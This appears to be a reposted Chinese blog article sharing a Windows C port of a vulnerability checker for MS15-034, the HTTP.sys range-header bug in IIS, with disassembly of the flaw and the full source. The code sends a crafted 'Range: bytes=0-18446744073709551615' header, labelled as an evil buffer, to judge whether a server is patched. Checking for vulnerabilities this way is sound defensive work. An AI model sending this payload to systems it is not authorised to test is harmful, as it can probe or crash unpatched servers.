HTTP.sys 远程执行代码验证工具

Posted persuit

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTTP.sys 远程执行代码验证工具相关的知识,希望对你有一定的参考价值。

漏洞信息:

  远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。这里将测试工具改成windows版本方便工作。

代码:

 

/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

    8a8b2112 56              push    esi
    8a8b2113 6a00            push    0
    8a8b2115 2bc7            sub     eax,edi
    8a8b2117 6a01            push    1
    8a8b2119 1bca            sbb     ecx,edx
    8a8b211b 51              push    ecx
    8a8b211c 50              push    eax
    8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here
*/

#define WIN32_LEAN_AND_MEAN 
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h> 
#include <Ws2tcpip.h>

#pragma  comment(lib,"ws2_32.lib")

int connect_to_server(char *ip,const int port)
{
    int sockfd = 0, n = 0;
    //SOCKET sockSrv;

    struct sockaddr_in serv_addr;
//初始化版本
    WORD version(0);
    WSADATA wsadata;
    int socket_return(0);
    version = MAKEWORD(2,0);
    socket_return = WSAStartup(version,&wsadata);
    
    if (socket_return != 0)
    {
        return 0;
    }
    
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("\\n Error : Could not create socket %d\\n",GetLastError());
        return 1;
    }

    memset(&serv_addr, \'0\', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    //serv_addr.sin_port = htons(80);
    serv_addr.sin_port = htons(port);

    if (inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    {
        printf("\\n inet_pton error occured\\n");
        return 1;
    }
    if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    {
           printf("\\n Error : Connect Failed \\n");
        exit(-1);
          return 1;
    } 

    return sockfd;
}
    
int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\\r\\n\\r\\n";
    // our evil buffer
    char request1[] = "GET / HTTP/1.1\\r\\nHost: stuff\\r\\nRange: bytes=0-18446744073709551615\\r\\n\\r\\n";

    if (argc != 3)
    {
        printf("\\n Usage: %s <ip of server> <port of server> \\n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\\n");

    sockfd = connect_to_server(argv[1],atoi(argv[2]));
    send(sockfd, request, strlen(request),0); 
    recv(sockfd, recvBuff, sizeof(recvBuff)-1,0);

    if (!strstr(recvBuff,"Microsoft"))
    {
        printf("[*] NOT IIS\\n");
        exit(1);
    }

    sockfd = connect_to_server(argv[1],atoi(argv[2]));
    send(sockfd, request1, strlen(request1),0);
    recv(sockfd, recvBuff, sizeof(recvBuff)-1,0);

    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
        printf("[!!] Looks VULN\\n");
        exit(1);
    } 
    else if (strstr(recvBuff,"The request has an invalid header name"))
    {
        printf("[*] Looks Patched");
    } 
    else
    {
        printf("[*] Unexpected response, cannot discern patch status");
    }

    return 0;
}

 

测试截图:

  

 

以上是关于HTTP.sys 远程执行代码验证工具的主要内容,如果未能解决你的问题,请参考以下文章

MS15-034漏洞复现HTTP.SYS远程代码执行漏洞

记录一个等保二的项目的漏洞处理

MS15-034/CVE-2015-1635 HTTP远程代码执行漏洞 (漏洞验证)

MS15-034/CVE-2015-1635 HTTP远程代码执行漏洞 (漏洞验证)

Web安全测试漏洞场景

IIS 架构解析